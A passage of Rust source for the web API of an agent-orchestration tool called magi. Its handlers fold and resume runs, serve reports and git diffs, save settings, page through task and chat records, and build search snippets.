4508/// Remove a run's candidate worktrees and branches, keeping its record.
4509///
4510/// This exists because the deck answered "delete this run" with *"Candidates
4511/// must be folded before deleting. Run `magi fold` first."* — a phone being
4512/// told to open a terminal, in the one product whose point is that it does
4513/// not need one. The runs an operator most wants gone are the stalled and
4514/// blocked ones, and those are exactly the runs still holding worktrees:
4515/// three of them here held 53 GB.
4516///
4517/// The winner's tree goes too. A fold is what someone asks for when they are
4518/// finished with a run, and leaving one tree behind would leave the delete
4519/// button disabled for the same reason as before.
4520///
4521/// Refused while a live daemon is working on the run, on the rule that guards
4522/// deletion: folding underneath a running agent would pull the tree it is
4523/// editing out from under it.
4524///
4525/// A run whose state this build cannot read at all falls back to
4526/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4527/// selectively, so the whole record's worktree goes wholesale, exactly what
4528/// `magi fold` does on the command line for the same run.
4529async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4530    let (id, state) = {
4531        let ui = Arc::clone(&ui);
4532        blocking(move || {
4533            let id = resolve_run(&ui.runs, &id)?;
4534            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4535                return Err(ApiError::conflict(format!(
4536                    "run {id} is being worked on by a live daemon right now"
4537                )));
4538            }
4539            let state = read_run(&ui.runs, &id).ok();
4540            Ok((id, state))
4541        })
4542        .await?
4543    };
4544    let removed = match state {
4545        Some(mut state) => {
4546            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4547                .await
4548                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4549            // Nothing left to remove is not the same thing as nothing left to
4550            // do — see `clean::clear_abandoned_active`'s own doc for the run
4551            // this exists for: worktrees already gone, but a killed process
4552            // left active seats nobody will ever answer for.
4553            if removed.is_empty() {
4554                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4555                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4556            }
4557            removed
4558        }
4559        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4560            .await
4561            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4562    };
4563    Ok(Json(FoldView {
4564        run: id,
4565        removed_count: removed.len(),
4566        removed,
4567    }))
4568}
4569
4570/// What a fold took away, so the deck can say so rather than only re-render.
4571#[derive(Debug, Serialize)]
4572struct FoldView {
4573    run: String,
4574    /// Worktree paths and branch names removed, in the order they went.
4575    removed: Vec<String>,
4576    removed_count: usize,
4577}
4578
4579/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4580/// merged outside of `land::land`'s own loop.
4581#[derive(Debug, Deserialize)]
4582struct FoldMergedBody {
4583    #[serde(default)]
4584    pr_url: String,
4585}
4586
4587/// `POST /api/runs/{id}/fold-merged`.
4588///
4589/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4590/// `Blocked` with `merge: null` because magi never got as far as opening a
4591/// pull request of its own (a title over GitHub's length limit, `gh pr
4592/// create` unreachable, a stale token), which the operator then finished by
4593/// hand on a pull request magi never recorded. The "Run actions" sheet used
4594/// to have no way to tell it about that pull request short of a terminal and
4595/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4596/// this exists and what it deliberately does not do (`bump::after_merge`).
4597///
4598/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4599/// correction rewrites the same `status`/`merge` fields a running graph would
4600/// be writing to on its own.
4601///
4602/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4603/// calls plus a fold, seconds of work, and the phone should get its answer
4604/// (which pull request it recorded, and what changed) in the same round
4605/// trip rather than learning it from the change stream.
4606async fn run_fold_merged(
4607    State(ui): State<Arc<Ui>>,
4608    Path(id): Path<String>,
4609    Json(body): Json<FoldMergedBody>,
4610) -> ApiResult<Json<FoldMergedView>> {
4611    let pr_url = body.pr_url.trim().to_owned();
4612    if pr_url.is_empty() {
4613        return Err(ApiError::bad_request("pr_url is required"));
4614    }
4615    let (id, mut state) = {
4616        let ui = Arc::clone(&ui);
4617        blocking(move || {
4618            let id = resolve_run(&ui.runs, &id)?;
4619            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4620                return Err(ApiError::conflict(format!(
4621                    "run {id} is being worked on by a live daemon right now"
4622                )));
4623            }
4624            let state = read_run(&ui.runs, &id)?;
4625            Ok((id, state))
4626        })
4627        .await?
4628    };
4629    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4630        .await
4631        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4632    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4633        .await
4634        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4635    Ok(Json(FoldMergedView {
4636        run: id,
4637        before: before.as_str().to_owned(),
4638        after: after.as_str().to_owned(),
4639        removed,
4640    }))
4641}
4642
4643/// What [`run_fold_merged`] did, so the deck can say so.
4644#[derive(Debug, Serialize)]
4645struct FoldMergedView {
4646    run: String,
4647    /// `status` before the correction — normally `"blocked"`.
4648    before: String,
4649    /// `status` after — normally `"merged"`.
4650    after: String,
4651    /// Worktree paths and branch names the trailing fold removed.
4652    removed: Vec<String>,
4653}
4654
4655/// `POST /api/runs/{id}/resume`.
4656///
4657/// Carry a stalled run on from where it stopped, in the background.
4658///
4659/// A stalled card says "the work is kept" and used to offer no way to act on
4660/// that: the candidates are built and paid for, and continuing means re-asking
4661/// only the seats whose absence collapsed the panel. The alternative an
4662/// operator actually had was releasing the task, which competes three fresh
4663/// implementations against work that already exists.
4664///
4665/// **202, not 200.** A resume runs agents for minutes; holding the connection
4666/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4667/// phone learns the outcome from the change stream.
4668///
4669/// Refused when the loop is running at all, not merely when it is on this run.
4670/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4671/// started a second graph on top of whatever the loop is already driving —
4672/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4673/// allows — would spend that quota twice over for no extra throughput.
4674async fn run_resume(
4675    State(ui): State<Arc<Ui>>,
4676    Path(id): Path<String>,
4677) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4678    let admission = ui.begin_admission()?;
4679    admitted(admission, async move {
4680        let (id, state) = {
4681            let ui = Arc::clone(&ui);
4682            blocking(move || {
4683                let id = resolve_run(&ui.runs, &id)?;
4684                let state = read_run(&ui.runs, &id)?;
4685                Ok((id, state))
4686            })
4687            .await?
4688        };
4689        crate::resume::validate_unqueued(&ui.home, &id)
4690            .map_err(|e| ApiError::conflict(e.to_string()))?;
4691        let _resume = ui.begin_resume(&id)?;
4692
4693        crate::resume::start(&ui.home, id.clone())
4694            .await
4695            .map_err(ApiError::from)?;
4696        // The same shape the list route returns, so the phone updates the card it
4697        // already has rather than learning a second schema for one button.
4698        let queued = RunSummary::of(
4699            &state,
4700            !ui.questions.open_for(&id).is_empty(),
4701            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4702        );
4703        Ok((StatusCode::ACCEPTED, Json(queued)))
4704    })
4705    .await
4706}
4707
4708async fn run_report(
4709    State(ui): State<Arc<Ui>>,
4710    Path(id): Path<String>,
4711) -> ApiResult<impl IntoResponse> {
4712    let text = blocking(move || {
4713        let id = resolve_run(&ui.runs, &id)?;
4714        // Colour is off for the whole process, set once in `serve`. Rendering
4715        // is CPU work over the full state, which is the other reason this is
4716        // not on the executor.
4717        let state = read_run(&ui.runs, &id)?;
4718        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4719        let live = state.liveness(daemon_claims);
4720        Ok(format!(
4721            "{}{}",
4722            report::run(&state),
4723            report::active_seats(&state, live)
4724        ))
4725    })
4726    .await?;
4727    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4728}
4729
4730/// The structured twin of [`run_report`]: the same state, as sections the UI
4731/// draws as cards. An unreadable run answers with the same error the text
4732/// route does; it is never turned into an empty report.
4733async fn run_report_json(
4734    State(ui): State<Arc<Ui>>,
4735    Path(id): Path<String>,
4736) -> ApiResult<Json<crate::report_view::RunReportView>> {
4737    let view = blocking(move || {
4738        let id = resolve_run(&ui.runs, &id)?;
4739        let state = read_run(&ui.runs, &id)?;
4740        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4741        // Only a record that lacks the structured details reads `artifacts/`.
4742        let recovered = state.graft.as_ref().map(|_| {
4743            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4744        });
4745        Ok(crate::report_view::build_with(
4746            &state,
4747            state.liveness(daemon_claims),
4748            recovered.as_ref(),
4749        ))
4750    })
4751    .await?;
4752    Ok(Json(view))
4753}
4754
4755/// Most of a graft diff the route returns.
4756const GRAFT_DIFF_MAX: usize = 400 * 1024;
4757/// How long `git diff` may run.
4758const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4759
4760/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4761/// come from the run record, never from the request.
4762async fn run_graft_diff(
4763    State(ui): State<Arc<Ui>>,
4764    Path(id): Path<String>,
4765) -> ApiResult<impl IntoResponse> {
4766    let (repo, pre, post) = blocking(move || {
4767        let id = resolve_run(&ui.runs, &id)?;
4768        let state = read_run(&ui.runs, &id)?;
4769        let g = state
4770            .graft
4771            .as_ref()
4772            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4773        let post = g
4774            .post
4775            .clone()
4776            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4777        Ok((state.repo.clone(), g.pre.clone(), post))
4778    })
4779    .await?;
4780    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4781    if !hex(&pre) || !hex(&post) {
4782        return Err(ApiError::not_found("the recorded commits are not valid"));
4783    }
4784    let out = tokio::time::timeout(
4785        GRAFT_DIFF_TIMEOUT,
4786        crate::git::git_raw(
4787            &repo,
4788            &[
4789                "diff",
4790                "--no-color",
4791                "--no-ext-diff",
4792                "-M",
4793                &pre,
4794                &post,
4795                "--",
4796            ],
4797        ),
4798    )
4799    .await
4800    .map_err(|_| ApiError::not_found("git diff timed out"))?
4801    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4802    if out.code != Some(0) {
4803        return Err(ApiError::not_found(
4804            "the recorded commits are no longer in the repository",
4805        ));
4806    }
4807    let mut body = out.stdout;
4808    if body.len() > GRAFT_DIFF_MAX {
4809        let mut cut = GRAFT_DIFF_MAX;
4810        while !body.is_char_boundary(cut) {
4811            cut -= 1;
4812        }
4813        body.truncate(cut);
4814        body.push_str("\n... diff truncated ...");
4815    }
4816    Ok((
4817        [
4818            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4819            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4820        ],
4821        body,
4822    ))
4823}
4824
4825/// A task as the UI sees it.
4826///
4827/// The whole task, plus the two things the client would otherwise have to
4828/// reimplement: the human-readable source and the status string. Nothing is
4829/// removed - the phone shows `last_error` and the run history verbatim.
4830#[derive(Debug, Serialize)]
4831struct TaskView {
4832    #[serde(flatten)]
4833    task: Task,
4834    source_label: String,
4835    source_link: Option<SourceLink>,
4836    status_str: &'static str,
4837    /// The instruction, parsed as markdown, for the Queue card's "Full
4838    /// instruction" panel. `task.instruction` is unchanged and still carries
4839    /// the raw text.
4840    instruction_md: Vec<md::Node>,
4841    /// For a blocked task, what it waits on with each dependency's state, e.g.
4842    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4843    /// recurses; empty for every other status.
4844    waits_on: Vec<String>,
4845    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4846    /// behind - non-empty means nothing in the loop will ever run it.
4847    stuck_roots: Vec<String>,
4848}
4849
4850impl From<Task> for TaskView {
4851    fn from(task: Task) -> Self {
4852        Self {
4853            source_label: task.source.label(),
4854            source_link: source_link(&task.source),
4855            status_str: task.status.as_str(),
4856            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4857            waits_on: Vec::new(),
4858            stuck_roots: Vec::new(),
4859            task,
4860        }
4861    }
4862}
4863
4864impl TaskView {
4865    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4866        let waits_on = inv.waits_on(&task);
4867        let stuck_roots = inv
4868            .stuck_roots(&task)
4869            .iter()
4870            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4871            .collect();
4872        Self {
4873            waits_on,
4874            stuck_roots,
4875            ..Self::from(task)
4876        }
4877    }
4878}
4879
4880/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4881/// its absence, leaves the cache to decide.
4882#[derive(Debug, Default, Deserialize)]
4883#[serde(default)]
4884struct ReposQuery {
4885    refresh: u8,
4886}
4887
4888/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4889/// listing `magi repos` prints at a terminal.
4890///
4891/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4892/// so an edit to `magi.toml` takes effect without a restart, the same
4893/// reasoning [`config_for`] documents for the talk routes.
4894async fn repos_list(
4895    State(ui): State<Arc<Ui>>,
4896    Query(q): Query<ReposQuery>,
4897) -> ApiResult<Json<Vec<repos::Repo>>> {
4898    let refresh = q.refresh != 0;
4899    blocking(move || {
4900        let (cfg, _) = Config::discover(&ui.repo, None)?;
4901        Ok(Json(ui.repos_cache.list(
4902            &cfg.repos.roots,
4903            Duration::from_secs(cfg.repos.scan_ttl),
4904            refresh,
4905        )))
4906    })
4907    .await
4908}
4909
4910/// Optional context, restricted to the server's known checkouts.
4911#[derive(Debug, Default, Deserialize)]
4912struct SettingsQuery {
4913    repo: Option<PathBuf>,
4914}
4915
4916/// Always discover against the server's original context, never the selection.
4917/// If that config is broken, retain the default context and machine-only roots
4918/// so the settings error contract and recovery picker remain available.
4919fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4920    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4921        let paths: Vec<PathBuf> = ui
4922            .machine_config
4923            .iter()
4924            .filter(|p| p.is_file())
4925            .cloned()
4926            .collect();
4927        if paths.is_empty() {
4928            Ok(Config::autodetected())
4929        } else {
4930            Config::load_layers(&paths)
4931        }
4932    });
4933    let mut known = cfg
4934        .map(|cfg| {
4935            ui.repos_cache.list(
4936                &cfg.repos.roots,
4937                Duration::from_secs(cfg.repos.scan_ttl),
4938                refresh,
4939            )
4940        })
4941        .unwrap_or_default();
4942    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4943    if !known.iter().any(|r| r.path == path) {
4944        known.push(repos::Repo {
4945            name: path
4946                .file_name()
4947                .unwrap_or_default()
4948                .to_string_lossy()
4949                .into_owned(),
4950            path,
4951        });
4952    }
4953    known
4954}
4955
4956fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4957    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4958    let canonical = requested.canonicalize().ok();
4959    let mut known = settings_repositories(ui, false);
4960    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4961    if !known.iter().any(matches) {
4962        known = settings_repositories(ui, true);
4963    }
4964    let repo = known
4965        .iter()
4966        .find(|r| matches(r))
4967        .map(|r| r.path.clone())
4968        .ok_or_else(|| ApiError {
4969            text_reason: None,
4970            status: StatusCode::UNPROCESSABLE_ENTITY,
4971            message: "Choose a known repository from the Settings selector.".to_owned(),
4972        })?;
4973    Ok((repo, known))
4974}
4975
4976/// `GET /api/settings` - the effective role assignments and roster, with the
4977/// layer each came from. A config that fails to load answers 200 with an
4978/// `error`, so the screen can say so instead of drawing empty lists.
4979async fn settings_get(
4980    State(ui): State<Arc<Ui>>,
4981    Query(q): Query<SettingsQuery>,
4982) -> ApiResult<Json<settings::SettingsView>> {
4983    blocking(move || {
4984        let (repo, known) = settings_context(&ui, q)?;
4985        Ok(Json(settings::view_with_repos(
4986            &repo,
4987            ui.machine_config.as_deref(),
4988            &known,
4989        )))
4990    })
4991    .await
4992}
4993
4994/// The body of `PUT /api/settings/roles`.
4995#[derive(Debug, Deserialize)]
4996#[serde(deny_unknown_fields)]
4997struct RolesBody {
4998    /// The `revision` the client last read.
4999    revision: String,
5000    /// Role key to its new ids; an empty list resets the key to its default.
5001    #[serde(default)]
5002    roles: std::collections::BTreeMap<String, Vec<String>>,
5003    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5004    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5005    /// words (422) instead of as a deserialization error.
5006    #[serde(default)]
5007    counts: std::collections::BTreeMap<String, serde_json::Value>,
5008}
5009
5010/// `PUT /api/settings/roles` - save role assignments to the machine config.
5011///
5012/// The write target is `ui.machine_config` and nothing in the body can change
5013/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5014/// 422 with the reason in words.
5015async fn settings_put_roles(
5016    State(ui): State<Arc<Ui>>,
5017    Query(q): Query<SettingsQuery>,
5018    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5019) -> ApiResult<Json<settings::SettingsView>> {
5020    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5021    blocking(move || {
5022        let (repo, known) = settings_context(&ui, q)?;
5023        settings::save_with_repos(
5024            &repo,
5025            ui.machine_config.as_deref(),
5026            &body.revision,
5027            &body.roles,
5028            &body.counts,
5029            &known,
5030        )
5031        .map(Json)
5032        .map_err(|e| match e {
5033            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5034            settings::SaveError::Refused(m) => ApiError {
5035                text_reason: None,
5036                status: StatusCode::UNPROCESSABLE_ENTITY,
5037                message: m,
5038            },
5039            settings::SaveError::Internal(m) => ApiError::internal(m),
5040        })
5041    })
5042    .await
5043}
5044
5045async fn queue_list(
5046    State(ui): State<Arc<Ui>>,
5047    Query(q): Query<ListQuery>,
5048) -> ApiResult<Json<Vec<TaskView>>> {
5049    blocking(move || {
5050        let tasks = ui.queue.list();
5051        let inv =
5052            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5053        Ok(Json(
5054            tasks
5055                .into_iter()
5056                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5057                .map(|t| TaskView::with_inventory(t, &inv))
5058                .collect(),
5059        ))
5060    })
5061    .await
5062}
5063
5064/// Cursor pages read a bounded number of records, never the older transcripts
5065/// or instructions. Cursors advance through a frozen file-name snapshot,
5066/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5067/// Concurrent inserts are reconciled by a trailing store refresh.
5068#[derive(Debug, Default, Deserialize)]
5069struct PageQuery {
5070    before: Option<String>,
5071}
5072
5073#[derive(Serialize)]
5074struct StorePage<T> {
5075    rows: Vec<T>,
5076    next: Option<String>,
5077}
5078
5079const STORE_PAGE_SIZE: usize = 16;
5080
5081/// Freeze only membership for one bounded cursor walk. Statuses and bodies are
5082/// always read from disk; writes/deletions during the walk are reconciled by
5083/// the next store revision. Never rescan the entire directory for every page.
5084#[derive(Debug)]
5085struct ListWalk {
5086    token: u64,
5087    talks: bool,
5088    opened: std::time::Instant,
5089    ids: Arc<Vec<String>>,
5090}
5091
5092fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5093    let mut walks = ui
5094        .monitor
5095        .list_walks
5096        .lock()
5097        .unwrap_or_else(PoisonError::into_inner);
5098    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5099    let (token, ids, offset) = if let Some(cursor) = q.before {
5100        let (token, offset) = cursor
5101            .split_once(':')
5102            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5103        let token = token
5104            .parse::<u64>()
5105            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5106        let offset = offset
5107            .parse::<usize>()
5108            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5109        let walk = walks
5110            .iter()
5111            .find(|walk| walk.token == token && walk.talks == talks)
5112            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5113        (token, walk.ids.clone(), offset)
5114    } else {
5115        let root = if talks {
5116            ui.talks.root()
5117        } else {
5118            ui.queue.root()
5119        };
5120        let mut ids = crate::queue::record_ids(root, "json")?;
5121        ids.sort_unstable_by(|a, b| b.cmp(a));
5122        let ids = Arc::new(ids);
5123        let mut token = crate::rng::entropy();
5124        while walks.iter().any(|walk| walk.token == token) {
5125            token = crate::rng::entropy();
5126        }
5127        // Four clients can enumerate both stores and overlap a refresh. Bound
5128        // retained membership snapshots; an evicted cursor explicitly retries.
5129        if walks.len() >= 16 {
5130            walks.remove(0);
5131        }
5132        walks.push(ListWalk {
5133            token,
5134            talks,
5135            opened: std::time::Instant::now(),
5136            ids: ids.clone(),
5137        });
5138        (token, ids, 0)
5139    };
5140    if offset > ids.len() {
5141        return Err(ApiError::bad_request("Invalid list cursor"));
5142    }
5143    let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
5144    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5145    Ok((ids[offset..end].to_vec(), next))
5146}
5147
5148async fn queue_page(
5149    State(ui): State<Arc<Ui>>,
5150    Query(q): Query<PageQuery>,
5151) -> ApiResult<Json<StorePage<TaskView>>> {
5152    blocking(move || {
5153        let (ids, next) = page_ids(&ui, false, q)?;
5154        let tasks: Vec<_> = ids
5155            .into_iter()
5156            .filter_map(|id| ui.queue.get(&id).ok())
5157            .collect();
5158        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5159        let rows = tasks
5160            .into_iter()
5161            .map(|task| TaskView::with_inventory(task, &inv))
5162            .collect();
5163        Ok(Json(StorePage { rows, next }))
5164    })
5165    .await
5166}
5167
5168/// Fixed-size wire projection. Agent timestamps stay in the server index so
5169/// exact unread counts do not require sending an ever-growing turn list.
5170#[derive(Debug, Clone, Serialize)]
5171struct TalkListView {
5172    title: Option<talk::ChatTitle>,
5173    id: String,
5174    repo: PathBuf,
5175    agent: String,
5176    status: talk::TalkStatus,
5177    turns: Vec<TalkListTurn>,
5178    turn_count: usize,
5179    unread_count: usize,
5180    context: talk::ContextUsage,
5181    #[serde(skip)]
5182    agent_times: Vec<Timestamp>,
5183    thinking: bool,
5184    created_at: Timestamp,
5185    updated_at: Timestamp,
5186}
5187
5188#[derive(Debug, Clone, Serialize)]
5189struct TalkListTurn {
5190    who: talk::Who,
5191    at: Timestamp,
5192    body: String,
5193}
5194
5195fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5196    let reads: HashMap<String, Timestamp> = headers
5197        .get("x-talk-reads")
5198        .and_then(|v| v.to_str().ok())
5199        .and_then(|v| serde_json::from_str(v).ok())
5200        .unwrap_or_default();
5201    let mut index = ui
5202        .monitor
5203        .talk_index
5204        .lock()
5205        .unwrap_or_else(PoisonError::into_inner);
5206    // Bound memory independently of the number of conversations ever opened.
5207    if index.len() > 1000 {
5208        index.clear();
5209    }
5210    ids.into_iter()
5211        .filter_map(|id| {
5212            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5213            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5214                let talk = ui.talks.get(&id).ok()?;
5215                #[cfg(test)]
5216                ui.monitor
5217                    .talk_parses
5218                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5219                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5220                let last = talk.turns.len().checked_sub(1);
5221                let turns = talk
5222                    .turns
5223                    .iter()
5224                    .enumerate()
5225                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5226                    .map(|(_, t)| TalkListTurn {
5227                        who: t.who,
5228                        at: t.at,
5229                        body: t
5230                            .body
5231                            .lines()
5232                            .next()
5233                            .unwrap_or_default()
5234                            .chars()
5235                            .take(240)
5236                            .collect(),
5237                    })
5238                    .collect();
5239                let row = TalkListView {
5240                    title: talk.title.clone(),
5241                    agent_times: talk
5242                        .turns
5243                        .iter()
5244                        .filter(|t| t.who == talk::Who::Agent)
5245                        .map(|t| t.at)
5246                        .collect(),
5247                    turn_count: talk.turns.len(),
5248                    unread_count: 0,
5249                    context: talk::context_usage(&talk, None),
5250                    turns,
5251                    thinking: false,
5252                    id: talk.id,
5253                    repo: talk.repo,
5254                    agent: talk.agent,
5255                    status: talk.status,
5256                    created_at: talk.created_at,
5257                    updated_at: talk.updated_at,
5258                };
5259                index.insert(id.clone(), (identity, row));
5260            }
5261            let row = &index.get(&id)?.1;
5262            let mut row = TalkListView {
5263                title: row.title.clone(),
5264                unread_count: row
5265                    .agent_times
5266                    .iter()
5267                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5268                    .count(),
5269                agent_times: Vec::new(),
5270                id: row.id.clone(),
5271                repo: row.repo.clone(),
5272                agent: row.agent.clone(),
5273                status: row.status,
5274                context: row.context.clone(),
5275                turns: row.turns.clone(),
5276                turn_count: row.turn_count,
5277                thinking: false,
5278                created_at: row.created_at,
5279                updated_at: row.updated_at,
5280            };
5281            row.thinking = ui.is_thinking(&id);
5282            Some(row)
5283        })
5284        .collect()
5285}
5286
5287async fn talks_page(
5288    State(ui): State<Arc<Ui>>,
5289    Query(q): Query<PageQuery>,
5290    headers: header::HeaderMap,
5291) -> ApiResult<Json<StorePage<TalkListView>>> {
5292    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5293        let (ids, next) = page_ids(&ui, true, q)?;
5294        Ok(Json(StorePage {
5295            rows: talk_rows(&ui, ids, &headers),
5296            next,
5297        }))
5298    })
5299    .await
5300}
5301
5302async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5303    blocking(move || {
5304        let tasks = ui.indexed_tasks()?;
5305        Ok(Json(TaskCountsView::from(
5306            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5307        )))
5308    })
5309    .await
5310}
5311
5312/// Most hits one search returns. The rest are counted in `total`.
5313const SEARCH_MAX_HITS: usize = 100;
5314/// Longest query, in characters, and most terms it is split into.
5315const SEARCH_MAX_QUERY: usize = 200;
5316const SEARCH_MAX_TERMS: usize = 8;
5317/// Characters of context kept before the first hit, and after it.
5318const SNIPPET_BEFORE: usize = 50;
5319const SNIPPET_AFTER: usize = 110;
5320
5321/// `?scope=runs|tasks&q=...`
5322#[derive(Debug, Deserialize)]
5323struct SearchQuery {
5324    #[serde(default)]
5325    scope: String,
5326    #[serde(default)]
5327    q: String,
5328}
5329
5330/// One piece of a snippet. `hit` pieces are what matched; the client renders
5331/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5332#[derive(Debug, Serialize, PartialEq, Eq)]
5333struct SnippetPart {
5334    text: String,
5335    hit: bool,
5336}
5337
5338#[derive(Debug, Serialize)]
5339struct SearchHit {
5340    id: String,
5341    /// The name of the field the snippet was cut from.
5342    field: String,
5343    snippet: Vec<SnippetPart>,
5344    /// The run's list row, so the page can apply its state / section / repo
5345    /// filters to a hit outside the loaded window. Absent for tasks and for a
5346    /// run record the list view cannot read.
5347    #[serde(skip_serializing_if = "Option::is_none")]
5348    run: Option<RunSummary>,
5349}
5350
5351#[derive(Debug, Serialize)]
5352struct SearchView {
5353    scope: String,
5354    q: String,
5355    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5356    hits: Vec<SearchHit>,
5357    /// Every match, hits beyond the cap included.
5358    total: usize,
5359    truncated: bool,
5360    /// Runs whose `run.json` could not be parsed at all. They were not
5361    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5362    unreadable: usize,
5363}
5364
5365/// The text leaves of a JSON document, with the name of the field each sits
5366/// under. Keys and numbers are skipped: they are structure, not prose.
5367fn text_leaves<'a>(
5368    value: &'a serde_json::Value,
5369    field: &'a str,
5370    out: &mut Vec<(&'a str, &'a str)>,
5371) {
5372    match value {
5373        serde_json::Value::String(s) => out.push((field, s)),
5374        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5375        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5376        _ => {}
5377    }
5378}
5379
5380/// Lower-case one character without changing how many there are, so indices
5381/// in the lowered text are indices in the original.
5382fn fold_char(c: char) -> char {
5383    c.to_lowercase().next().unwrap_or(c)
5384}
5385
5386/// Split a query into its lower-cased terms.
5387fn search_terms(q: &str) -> Vec<String> {
5388    let mut terms: Vec<String> = Vec::new();
5389    for t in q.split_whitespace() {
5390        let t = t.to_lowercase();
5391        if !terms.contains(&t) {
5392            terms.push(t);
5393        }
5394    }
5395    terms
5396}
5397
5398/// Match `terms` (all of them, anywhere in the document) against the leaves
5399/// and cut a snippet around the first hit. `None` when a term is missing.
5400fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5401    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5402    let mut first: Option<usize> = None;
5403    for term in terms {
5404        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5405        first = Some(first.map_or(at, |f| f.min(at)));
5406    }
5407    // The leaf holding the earliest hit of any term is where the snippet is cut.
5408    let (field, text) = leaves[first?];
5409    Some(SearchHit {
5410        id: String::new(),
5411        field: field.to_owned(),
5412        snippet: snippet_of(text, terms),
5413        run: None,
5414    })
5415}
5416
5417/// A window of `text` around the first occurrence of any term, whitespace
5418/// collapsed, with every term occurrence inside the window marked.
5419fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5420    let chars: Vec<char> = text.chars().collect();
5421    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
